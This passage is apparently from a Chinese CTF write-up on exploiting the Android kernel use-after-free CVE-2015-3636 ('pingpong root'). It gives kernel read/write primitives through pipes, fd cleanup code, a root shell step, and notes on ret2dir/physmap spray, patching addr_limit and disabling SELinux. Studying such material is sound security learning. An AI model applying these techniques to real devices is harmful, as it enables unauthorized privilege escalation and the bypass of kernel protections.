    struct file *file, unsigned fd, unsigned flags)
    {
    struct file *tofree;
    struct fdtable *fdt;
    fdt = files_fdtable(files);
    tofree = fdt->fd[fd];
    // ......
    }
    // IDA伪代码
    __int64 __fastcall do_dup2(__int64 a1, __int64 a2, int a3, int a4)
    {
    // ......
    v5 = 8i64 * (unsigned int)a3;
    v6 = *(_QWORD **)(a1 + 8); //从file_struct偏移8字节的位置,取出fdt的地址
    v7 = *(_QWORD *)(v6[1] + v5);
    // ......
    }

    根据以上信息,可通过如下代码片段,清理打开的socket fd,避免内核crash。

1
2
3
4
5
6
7
// clean fds
void* files_struct_addr = 0;
void* fdtable_addr = 0;
kernel_read((char*)task_struct_addr+0x788,&files_struct_addr,8);
kernel_read((char*)files_struct_addr+8,&fdtalbe_addr,8);

kernel_write(fdtable_addr,&a,4);

弹root shell

1
2
3
4
5
6
// root shell
if(getuid() == 0){
system("/system/bin/sh");
}else{
printf("failed\n");
}

完整利用代码:步骤六源码

效果如下:

image-20220921123726416

知识点补充

学习本题exp的过程中,补了不少知识点,全都记录在这里

linux rlimit资源限制

Linux rlimit 函数详解

Linux系统调用–getrlimit()与setrlimit()函数详解

操作系统能提供的资源有限,所以必须限制每个进程使用的资源数,在linux上这个机制叫做rlimit。与之相关的一个结构体是:

1
2
3
4
5
6
struct rlimit {
__kernel_ulong_t rlim_cur; // soft limit
__kernel_ulong_t rlim_max; // hard limit
};
// soft limit <= hard limit
// soft limit是普通用户可更改的,hard limit只有root用户才能更改

更改rlimit值有两种方式:

  • ulimit命令

    ulimit改变的是当前shell的resource limit,从而改变该shell启动的进程的resource limit

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # ulimit -a
    time(cpu-seconds) unlimited
    file(blocks) unlimited
    coredump(blocks) 0
    data(KiB) unlimited
    stack(KiB) 8192
    lockedmem(KiB) 64
    nofiles(descriptors) 1024
    processes 4004
    sigpending 4004
    msgqueue(bytes) 819200
    maxnice 40
    maxrtprio 0
    resident-set(KiB) unlimited
    address-space(KiB) unlimited
  • getlimit()和setlimit()两个API函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // 更改soft limit的demo
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/resource.h>
    int main()
    {
    struct rlimit rlim;
    int ret;

    ret = getrlimit(RLIMIT_NOFILE, &rlim); // 读取RLIMIT_NOFILE这个资源的限制值

    // printf("rlim.rlim_cur:%d\n",rlim.rlim_cur);
    // printf("rlim.rlim_max:%d\n",rlim.rlim_max);

    rlim.rlim_cur = rlim.rlim_max;
    setrlimit(RLIMIT_NOFILE, &rlim); // 更改了soft limit后,重新写回内核

    return 0;
    }

以上是对当前进程的resource limit进行修改,那么当我们需要更改其他进程的resource limit时,应该怎么办呢?对于高版本内核,可以使用prlimit()函数或prlimit命令。

查看某一进程的resource limit:cat /proc/<pid>/limits

mmap函数

认真分析mmap:是什么 为什么 怎么用

Linux 内存映射函数 mmap()函数详解

你真的知道匿名映射是什么吗?

mmap将文件或设备映射进内存。但是对安全研究员来说,用的最多的是它的匿名映射(不将映射区与任何文件关联)。函数原型如下:

1
2
3
4
5
6
7
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
// start:映射区的开始地址。如果指定为NULL代表让系统自动选定地址,映射成功后返回该地址
// length:映射区的长度
// prot:期望的内存保护标志,不能与文件的打开模式冲突。PROT_EXEC/PROT_READ/PROT_WRITE/PROT_NONE
// flags:指定映射对象的类型,映射选项和映射页是否可以共享。MAP_FIXED/MAP_SHARED/MAP_PRIVATE/MAP_ANONYMOUS等
// fd:有效的文件描述词。如果MAP_ANONYMOUS被设定,为了兼容问题,其值应为-1
// offset:被映射对象内容的起点

匿名映射是指在flags中指定了MAP_ANONYMOUS,并且fd被置为-1的情况。

mmap_min_addr

mmap x86小于0x10000的虚地址

使用cat /proc/sys/vm/mmap_min_addr查看当前系统中允许mmap的最低地址。有两种方法可以改变这个限制:

  1. 通过echo 4096 > /proc/sys/vm/mmap_min_addr更改最低地址的限制。

  2. 劫持内核控制流,更改mmap_min_addr的值

    1
    2
    3
    4
    5
    6
    7
    8
    __int64 mmap_min_addr_handler()
    {
    __int64 result; // x0

    result = proc_doulongvec_minmax();
    MEMORY[0xFFFFFFC000652148] = 4096i64; // 0xFFFFFFC000652148就是mmap_min_addr的地址
    return result;
    }

ret2dir

提出ret2dir这种利用方法的论文(USENIX 2014):ret2dir: Rethinking Kernel Isolation

ret2dir中一个关键技术叫physmap spray。

physmap是64位linux内核内存布局中的一个区域,该区域内存比较特殊,称作”direct mapping of all physical memory”,大小是64TB。也就是说任意物理内存地址都可以映射到physmap虚拟内存中。

利用physmap这一区域,可以绕过一些linux内核漏洞缓解措施,如SMAP,SMEP等。攻击者通过mmap将payload放入虚拟内存(也在物理内存中),相应地一定能在physmap中找到这些payload,从而达到在内核中访问用户态数据或执行用户态代码的目的。

通过如下文章中的小实验来了解physmap:

在对physmap的研究过程中,有以下几个问题:

  • kmalloc的内存是否在physmap区域?

    1
    在x86_64位ubuntu20.04虚拟机中,验证证明内核中kmalloc的内存在physmap区域。
  • mmap的内存是否在physmap区域?

    1
    通过gdb dump内存,看到了mmap虚拟内存对应的内容
  • mmap的内存,与kmalloc的内存,它们在physmap中的分布特点?

    1
    2
    - kmalloc分配的内存遵循SLUB分配器的原则
    - mmap出来的内存,在vmware ubuntu中以1k为单位块,无规则分布在physmap区域(因为在物理内存中分布不均匀?)

    如果kmalloc的内存存在UAF,用户态mmap的大量内存在物理上可能跟UAF的某些区域有重叠。于是,就达到了在用户态操作mmap内存,能控制内核UAF堆中数据的目的。这也是CVE-2015-3636漏洞利用中,physmap spray使用到的根本原理。

但是,涉及到linux内核内存管理的知识,目前我的储备为0,所以细节方面无法展开说明。这一知识盲区留待后续研究linux内存管理时再深入调试探究,参考这篇文章中提供的书籍和帖子学习:What’s inside the kernel part of virtual memory of 64 bit linux processes?

???但是,从kpwn这个题的环境来看,跟https://bbs.pediy.com/thread-230298.htm中对physmap和slab的描述并不一样。

???kpwn:kmalloc的内存就在physmap中

???看雪:kmalloc的内存需要通过lifting才能跟physmap产生交集

socket的inet_ioctl

inet_ioctl

linux-3.10-rc1/net/ipv4/af_inet.c中,有以下接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int inet_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
{
struct sock *sk = sock->sk;
int err = 0;
struct net *net = sock_net(sk);

switch (cmd) {
case SIOCGSTAMP:
err = sock_get_timestamp(sk, (struct timeval __user *)arg);
break;
case SIOCGSTAMPNS:
err = sock_get_timestampns(sk, (struct timespec __user *)arg);
break;
······

sock_get_timestampns

linux-3.10-rc1/net/core/sock.c中,实现了sock_get_timestampns函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct timespec {
time_t tv_sec; /* seconds */
long tv_nsec; /* nanoseconds */
};

int sock_get_timestampns(struct sock *sk, struct timespec __user *userstamp)
{
struct timespec ts;
if (!sock_flag(sk, SOCK_TIMESTAMP))
sock_enable_timestamp(sk, SOCK_TIMESTAMP);
ts = ktime_to_timespec(sk->sk_stamp);
if (ts.tv_sec == -1)
return -ENOENT;
if (ts.tv_sec == 0) {
sk->sk_stamp = ktime_get_real();
ts = ktime_to_timespec(sk->sk_stamp);
}
return copy_to_user(userstamp, &ts, sizeof(ts)) ? -EFAULT : 0;
}
EXPORT_SYMBOL(sock_get_timestampns);

#if (BITS_PER_LONG == 64) || defined(CONFIG_KTIME_SCALAR)
/* Map the ktime_t to timespec conversion to ns_to_timespec function */
#define ktime_to_timespec(kt) ns_to_timespec((kt).tv64)

ns_to_timespec

linux-3.10-rc1/kernel/time.cz中,实现了ns_to_timespec函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
typedef union ktime ktime_t;
union ktime {
s64 tv64;
#if BITS_PER_LONG != 64 && !defined(CONFIG_KTIME_SCALAR)
struct {
# ifdef __BIG_ENDIAN
s32 sec, nsec;
# else
s32 nsec, sec;
# endif
} tv;
#endif
};

struct timespec ns_to_timespec(const s64 nsec)
{
struct timespec ts;
s32 rem;

if (!nsec)
return (struct timespec) {0, 0};

ts.tv_sec = div_s64_rem(nsec, NSEC_PER_SEC, &rem);
if (unlikely(rem < 0)) {
ts.tv_sec--;
rem += NSEC_PER_SEC;
}
ts.tv_nsec = rem;

return ts;
}
EXPORT_SYMBOL(ns_to_timespec);

Linux内核 ns_to_timespec()

该函数的作用是将参数的时间(纳秒)用timespec结构体来表示,结构体如下

1
2
3
4
5
struct timespec
{
__kernel_time_t tv_sec; /*秒数*/
long tv_nsec; /*纳秒数*/
};

通过编写一个简单的内核模块,弄明白这个函数的用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <linux/module.h>
#include<linux/time.h>

int __init ns_to_timespec_init(void)
{

struct timespec ts; //声明变量,用于保存函数执行结果
const s64 nsec=1001000000; //1001000000,定义64位有符号整数,作为函数的参数
printk("ns_to_timespec begin.\n");
ts=ns_to_timespec(nsec); //调用函数,将参数表示的时间转换成用timespec表示的时间
printk("the value of the struct timespec is:\n"); //显示转换结果
printk("the tv_sec value is:%ld\n", ts.tv_sec); //秒数,为1
printk("the tv_nsec value is:%ld\n", ts.tv_nsec); //纳秒数,为1000000
printk("ns_to_timespec over.\n");
return 0;
}

void __exit ns_to_timespec_exit(void)
{
printk("Goodbye ns_to_timespec\n");
}

module_init(ns_to_timespec_init);
module_exit(ns_to_timespec_exit);

MODULE_LICENSE("GPL");

addr limit访问限制

addr limit是什么

addr_limit是thread_info中的一个值,它代表当前线程可访问的地址空间大小。x86_64架构下,在用户程序addr_limit为0x7ffffffff000,在内核addr_limit为0xffffffffffffffff。

1
2
3
4
5
6
7
8
9
10
11
typedef unsigned long mm_segment_t;

struct thread_info {
unsigned long flags; /* low level flags */
mm_segment_t addr_limit; /* address limit */
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
struct restart_block restart_block;
int preempt_count; /* 0 => preemptable, <0 => bug */
int cpu; /* cpu */
};

当用户态程序通过系统调用进入内核后,需要访问内核空间的数据时该怎么办呢?

答:可以通过setfs()来改变addr_limit的值。相关定义如下:

1
2
3
4
5
6
7
8
9
10
11
#define KERNEL_DS    ((mm_segment_t) { ~0UL })        /* cf. access_ok() */
#define USER_DS ((mm_segment_t) { TASK_SIZE-1 }) /* cf. access_ok() */

#define VERIFY_READ 0
#define VERIFY_WRITE 1

#define get_ds() (KERNEL_DS)
#define get_fs() (current_thread_info()->addr_limit)
#define set_fs(x) (current_thread_info()->addr_limit = (x))

#define TASK_SIZE DEFAULT_TASK_SIZE

利用CVE-2017-8890漏洞ROOT天猫魔屏A1文章指出,当前有两种方式可以patch addr_limit的大小。这里我们关注第二种方法,通过调用了set_fs()的函数如kernel_setsockopt、kernel_sock_ioctl来更改addr_limit。

kernel_setsockopt

kernel_setsockopt()函数的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int kernel_setsockopt(struct socket *sock, int level, int optname,
char *optval, unsigned int optlen)
{
mm_segment_t oldfs = get_fs();
char __user *uoptval;
int err;

uoptval = (char __user __force *) optval;

set_fs(KERNEL_DS);
if (level == SOL_SOCKET)
err = sock_setsockopt(sock, level, optname, uoptval, optlen);
else
err = sock->ops->setsockopt(sock, level, optname, uoptval,
optlen);
set_fs(oldfs);
return err;
}

对应的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ROM:FFFFFFC00035D788 kernel_setsockopt                       ; CODE XREF: svc_setup_socket+238↓p
ROM:FFFFFFC00035D788 ; svc_setup_socket+37C↓p
ROM:FFFFFFC00035D788
ROM:FFFFFFC00035D788 var_s0 = 0
ROM:FFFFFFC00035D788 var_s10 = 0x10
ROM:FFFFFFC00035D788
ROM:FFFFFFC00035D788 STP X29, X30, [SP,#-0x20+var_s0]!
ROM:FFFFFFC00035D78C CMP W1, #1
ROM:FFFFFFC00035D790 MOV X5, SP
ROM:FFFFFFC00035D794 MOV X29, SP
ROM:FFFFFFC00035D798 STP X19, X20, [SP,#var_s10]
ROM:FFFFFFC00035D79C AND X19, X5, #0xFFFFFFFFFFFFC000
ROM:FFFFFFC00035D7A0 MOV X5, #0xFFFFFFFFFFFFFFFF
ROM:FFFFFFC00035D7A4 LDR X20, [X19,#8]
ROM:FFFFFFC00035D7A8 STR X5, [X19,#8]
ROM:FFFFFFC00035D7AC B.EQ loc_FFFFFFC00035D7CC
ROM:FFFFFFC00035D7B0 LDR X5, [X0,#0x28]
ROM:FFFFFFC00035D7B4 LDR X5, [X5,#0x68]
ROM:FFFFFFC00035D7B8 BLR X5
ROM:FFFFFFC00035D7BC STR X20, [X19,#8]
ROM:FFFFFFC00035D7C0 LDP X19, X20, [SP,#var_s10]
ROM:FFFFFFC00035D7C4 LDP X29, X30, [SP+var_s0],#0x20
ROM:FFFFFFC00035D7C8 RET

ROM:FFFFFFC00035D7BC STR X20, [X19,#8]这行对应于set_fs(oldfs);,跳过这一句,用户态进程对应的addr_limit就成了0xFFFFFFFFFFFFFFFF,可以访问内核空间了。

也就是说将x5设置为0xFFFFFFC00035D7C0即可,那么要求[x5,#0x68]处存放0xFFFFFFC00035D7C0。x0是控制流劫持发生时的残留值,可根据实际情况变更。

pipe系统调用

pipe() 系统调用

通过pipe()创建一个管道,返回两个文件描述符,fd[0]为读,fd[1]为写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int kernel_read4(void* kernel_addr,  unsigned int* value)
{
int pipefd[2];
pipe(pipefd)
write(pipefd[1], kernel_addr, 4)
read(pipefd[0], value, 4)
return 0;
}

int kernel_write4(void* kernel_addr, unsigned int* value)
{
int pipefd[2];
pipe(pipefd)
write(pipefd[1], value, 4)
read(pipefd[0], kernel_addr, 4)
return 0;
}

关闭selinux

如何查看selinux状态?

/usr/sbin/sestatus -v 或者getenforce

通过内核镜像中,如selinux_init()、sel_read_enforce()、sel_write_enforce()等函数,可以定位到selinux_enforcing的内存地址。

  • selinux_enforcing为0,SELinux为permissive模式
  • selinux_enforcing为1,SELinux为enforcing模式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// IDA中伪代码如下
__int64 __fastcall sel_read_enforce(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
int v7; // w0
_BYTE v9[16]; // [xsp+30h] [xbp+30h] BYREF

v7 = scnprintf(v9, 12i64, "%d", MEMORY[0xFFFFFFC00065399C]);
//0xFFFFFFC00065399C即selinux_enforcing
return simple_read_from_buffer(a2, a3, a4, v9, v7);
}
// 对应的源码如下
static ssize_t sel_read_enforce(struct file *filp, char __user *buf,
size_t count, loff_t *ppos)
{
char tmpbuf[TMPBUFLEN];
ssize_t length;

length = scnprintf(tmpbuf, TMPBUFLEN, "%d", selinux_enforcing);
return simple_read_from_buffer(buf, count, ppos, tmpbuf, length);
}

thread_info与task_struct

task_struct

task_struct结构体中,除了漏洞利用提权时比较关注的cred结构体以外,还有个特殊的指针void *stack,它指向内核栈,同时也是thread_info结构体的存放地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;

unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
// ......
/* process credentials */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
// ......
}

void *stack指向一个联合体,叫做thread_union,即代表内核栈,也代表thread_info。

1
2
3
4
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};

task_struct,thread_info和内核栈之间的关系如下图所示。

内核栈与thread_info结构详解

image-20220919162607272

thread_info

1
2
3
4
5
6
7
8
9
10
11
typedef unsigned long mm_segment_t;

struct thread_info {
unsigned long flags; /* low level flags */
mm_segment_t addr_limit; /* address limit */
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
struct restart_block restart_block;
int preempt_count; /* 0 => preemptable, <0 => bug */
int cpu; /* cpu */
};

其他

andorid模拟器

android模拟器有很多,15 best Android emulators for PC and Mac of 2022,android studio适合开发者,qemu-android适合研究调试。

猜测:只有android studio和qemu-android可以模拟arm架构的android,其他模拟器(大多数)都是x86架构的android。因为android studio和qemu-android都是谷歌家开发的。

对于想准确研究以上概念的同学,推荐参考书籍:Android System Programming

ubuntu ndk编译环境

参考了这篇文章:ubuntu下android ndk编译环境搭建方法

下载android-ndk-r13b,然后按照如下命令安装

1
2
3
4
5
6
7
8
9
~$ unzip android-ndk-r13b-linux-x86_64.zip
~$ mkdir ndk-android-tool-chain
~$ cd ./android-ndk-r13b/build/tools
~/android-ndk-r13b/build/tools$ ./make-standalone-toolchain.sh --arch=arm64 --platform=android-21 --install-dir=/home/bling/ndk-android-tool-chain --force
~/android-ndk-r13b/build/tools$ ./make-standalone-toolchain.sh --arch=arm64 --platform=android-21 --force
# 在/home/bling/ndk-android-tool-chain/bin目录下有我们需要的编译器android gcc及ndk-build
# 最后,将该路径配置到环境变量中
# export PATH=/home/bling/ndk-android-tool-chain/bin:$PATH
# export PATH=/home/bling/android-ndk-r13b:$PATH

提取内核代码并恢复符号

旧方法 - IDApython脚本

逆向ARM64内核zImage

从Android设备中提取内核和逆向分析

Image就是内核代码,由于系统未开启KASLR,通过启动时打印的log我们可以获得内核加载基址0xffffffc000080000。

image-20220724182224254

IDA打开Image,并设置好ROM start address和Loading address,从文件头开始按”P”解析函数。发现函数没有符号。

于是回到adb shell中,导出内核符号表

1
2
echo 0 > /proc/sys/kernel/kptr_restrict
cat /proc/kallsyms > /data/local/tmp/1.txt

利用内核符号表文件,恢复IDA中对应的函数名,IDA脚本如下

1
2
3
4
5
6
7
8
9
10
11
import idc
import idaapi
ksyms = open("D:\\yuanyuan\\abc.txt") # 导出的内核符号表文件
for line in ksyms:
addr = int(line[0:16],16)
name = line[19:].replace('_','')
name = line[19:].replace('\n','')
idc.create_insn(addr) # 将指定地址处的机器码翻译成汇编指令
ida_funcs.add_func(addr, BADADDR) # 在指定地址处创建一个函数
idc.set_name(addr, name, SN_CHECK) # 重命名addr处函数为name
Message("%08X:%s"%(addr,name))

恢复符号表后,发现还有很多函数没有恢复成功,是因为函数名冲突了。但是不影响分析。

新方法 - vmlinux-to-elf

vmlinux-to-elf可以将 vmlinux/vmlinuz/bzImage/zImage等内核镜像恢复符号并转换成elf格式,便于IDA分析。

image-20220921230829799

使用方法如下:

1
2
3
git clone https://github.com/marin-m/vmlinux-to-elf.git
cd vmlinux-to-elf
./vmlinux-to-elf <xxx> xxx.elf

编译调试linux-3.10内核镜像

1
2
3
4
5
git clone https://github.com/torvalds/linux.git -b v3.10 --depth=1
cd linux
# 指定交叉编译器。对于小于3.18版本的内核,编译器版本需小于5.0
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig
make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j4

参考文档

  • CVE-2015-3636分析文档

[原创]CVE-2015-3636(pingpong root) android内核 UAF漏洞分析

cve-2015-3636 - 20000s

Study CVE-2015-3636 - I

CVE-2015-3636漏洞分析

CVE-2015-3636

CVE-2015-3636内核漏洞分析这篇文章中说,x86-64架构上利用该漏洞仅能造成系统崩溃,而非x86-64架构(如arm)可利用改漏洞提权。

真实设备利用exp:CVE-2015-3636 exp.by.fi01

存在该漏洞的版本: linux kernel <=v4.1-rc1

  • 其他参考文档

Android内核的编译和调试及gdb cheatsheet

字节ctf2021 android题中用到了docker运行apk

Searchable Linux Syscall Table for x86 and x86_64